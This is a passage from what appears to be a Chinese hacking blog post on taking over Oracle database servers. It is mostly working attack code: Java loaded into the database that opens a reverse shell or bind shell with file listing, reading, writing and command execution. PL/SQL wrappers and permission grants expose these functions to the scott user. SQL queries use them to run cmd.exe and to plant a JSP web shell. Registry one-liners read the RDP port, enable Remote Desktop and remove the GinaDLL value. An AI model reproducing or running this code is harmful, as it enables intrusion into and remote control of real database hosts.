} catch (Exception e) {
return e.getMessage();
}
}
public static String reverseShell(String host,int port){
Socket s=null;
try{
s=new Socket(host,port);
new optShell(null,s).start();
return "OK";
}catch(Exception e){
return e.getMessage();
}
} //反弹shell的sqlj语句
public static class optShell extends Thread{
OutputStream os=null;
InputStream is=null;
ServerSocket ss;
Socket s;
public optShell(ServerSocket ss,Socket s){
this.ss=ss;
this.s=s;
try{
this.is=s.getInputStream();
this.os=s.getOutputStream();
}catch(Exception e){
if(os!=null)try {os.close();} catch(Exception ex) {}
if(is!=null)try {is.close();} catch(Exception ex) {}
if(s!=null)try {s.close();} catch(Exception ex) {}
if(ss!=null)try {ss.close();} catch(Exception ex) {}
}
}
public void run(){
BufferedReader br=new BufferedReader(new InputStreamReader(is));
String line="";
String cmdhelp="Command:\r\nlist \r\nsave\r\nread\r\nexec\r\nexit\r\n";
try {
//os.write(cmdhelp.getBytes());
line=br.readLine();
while(!"exit".equals(line)){
if(line.length()>3){
StringBuffer sb=new StringBuffer(line.trim());
String cmd=sb.substring(0, 4);
if(cmd.equals("list")){
os.write("input you path:\r\n".getBytes());
line=br.readLine();
os.write(listFolder(line).getBytes());
}else if("save".equals(cmd)){
os.write("input you filepath:\r\n".getBytes());
line=br.readLine();
os.write("input you value:\r\n".getBytes());
os.write(saveFile(line,br.readLine()).getBytes());
}else if("read".equals(cmd)){
os.write("input you filepath:\r\n".getBytes());
line=br.readLine();
os.write("input you code examle:GBK\r\n".getBytes());
os.write(readFile(line,br.readLine()).getBytes());
}else if("exec".equals(cmd)){
os.write("input you run filepath:\r\n".getBytes());
line=br.readLine();
os.write("input you code examle:GBK\r\n".getBytes());
os.write(execFile(line,br.readLine()).getBytes());
}else{
os.write(cmdhelp.getBytes());
}
}else{
os.write(cmdhelp.getBytes());
}
line=br.readLine();
}
} catch (Exception e) {
e.printStackTrace();
}finally{
if(os!=null)try {os.close();} catch(Exception e) {}
if(is!=null)try {is.close();} catch(Exception e) {}
if(s!=null)try {s.close();} catch(Exception e) {}
if(ss!=null)try {ss.close();} catch(Exception e) {}
}
}
}
}
/
create or replace function BOB_LISTFOLDER(str varchar2) return varchar2
as language java name 'BOB.listFolder(java.lang.String) return java.lang.String';
/
create or replace function BOB_SAVEFILE(p varchar2,v varchar2) return varchar2
as language java name 'BOB.saveFile(java.lang.String,java.lang.String) return java.lang.String';
/
create or replace function BOB_READFILE(p varchar2,c varchar2) return varchar2
as language java name 'BOB.readFile(java.lang.String,java.lang.String) return java.lang.String';
/
create or replace function BOB_EXECFILE(fp varchar2,c varchar2) return varchar2
as language java name 'BOB.execFile(java.lang.String,java.lang.String) return java.lang.String';
/
create or replace function BOB_BINDSHELL(port number) return varchar2
as language java name 'BOB.bindShell(int) return java.lang.String';
/
begin
Dbms_Java.Grant_Permission('scott','java.io.FilePermission','<<ALL FILES>>','read,write,execute,delete');
Dbms_Java.Grant_Permission('scott','java.lang.RuntimePermission','*','writeFileDescriptor');
Dbms_Java.grant_permission('scott','java.net.SocketPermission','*:*','accept,connect,listen,resolve');
end;这么一大段,仔细看
执行完后普通浏览复制代码打印代码
Select BOB_LISTFOLDER('/usr') FROM DUAL //列目录 
Select BOB_EXECFILE('C:\WINDOWS\system32\cmd.exe /c dir c:\','GBK') FROM DUAL; //执行命令 
Select BOB_READFILE('/tmp/1.txt','GBK') FROM DUAL; //读文件 
Select BOB_SAVEFILE('/tmp/1.jsp','<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>') FROM DUAL; 写jsp一句话 可查看我的上一篇BLOG 
Select BOB_BINDSHELL(20000) FROM DUAL //开启端口2000然后你telnet ip 2000上去 

Select BOB_LISTFOLDER('/usr') FROM DUAL //列目录
Select BOB_EXECFILE('C:\WINDOWS\system32\cmd.exe /c dir c:\','GBK') FROM DUAL; //执行命令
Select BOB_READFILE('/tmp/1.txt','GBK') FROM DUAL; //读文件
Select BOB_SAVEFILE('/tmp/1.jsp','<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>') FROM DUAL; 写jsp一句话 可查看我的上一篇BLOG
Select BOB_BINDSHELL(20000) FROM DUAL //开启端口2000然后你telnet ip 2000上去其中本来还有reserver shell的
我还没来的及测试
我自己是更中意反弹shell的
特别是linux
好操作的多
再说有时候linux是nat出来的
反弹就去了许多麻烦

第四部分 技巧

一句话读取3389端口普通浏览复制代码打印代码
exec :x:=run_cmz('REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber'); 

exec :x:=run_cmz('REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber');一句话开3389 只合适win 2k3普通浏览复制代码打印代码
exec :x:=run_cmz('REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'); 

exec :x:=run_cmz('REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f');删除pcanywhere导致的终端登陆错误普通浏览复制代码打印代码
exec :x:=run_cmz('reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v GinaDLL /f');